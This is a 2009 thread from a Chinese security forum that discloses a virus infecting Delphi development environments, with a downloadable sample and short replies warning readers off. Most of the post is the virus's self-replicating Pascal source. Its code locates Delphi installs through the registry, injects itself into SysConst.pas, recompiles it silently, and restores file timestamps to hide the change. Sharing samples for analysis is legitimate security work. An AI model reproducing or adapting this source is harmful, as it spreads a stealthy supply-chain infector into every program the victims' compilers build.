创意安天

 找回密码
 注册创意安天

新型病毒----向delphi工程中添加病毒代码的样本

[复制链接]
发表于 2009-8-25 15:23 | 显示全部楼层 |阅读模式
本帖最后由 yujifengren 于 2009-8-25 15:25 编辑

新型病毒----感染delphi源代码的病毒
向delphi工程中添加病毒文件并修改工程配置文件,使编译时将病毒一同编译。编译后的二进制文件中
样本见附件:
可以找到以下ASCII代码:

-------------------------------------------------------------------------------------------------------
uses windows;

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s',
'=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p: PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c<>#0 do begin r:=r+c;inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s=#36 then s:=#39;
result:=s;
end;

procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p: PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;

while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then
break;
end;

for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
。。。。省略
------------------------------------------------------------------------------------------------------------------------

Project1.zip

193.17 KB, 下载次数: 48

发表于 2009-8-25 20:21 | 显示全部楼层
好恶毒
发表于 2009-8-25 22:07 | 显示全部楼层
当年还有感染OBJ的呢。。。
发表于 2009-8-27 15:40 | 显示全部楼层
草 是病毒 别下载
您需要登录后才可以回帖 登录 | 注册创意安天

本版积分规则

小黑屋|手机版|Archiver|创意安天 ( 京ICP备09068574,ICP证100468号。 )

GMT+8, 2024-4-25 04:46

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表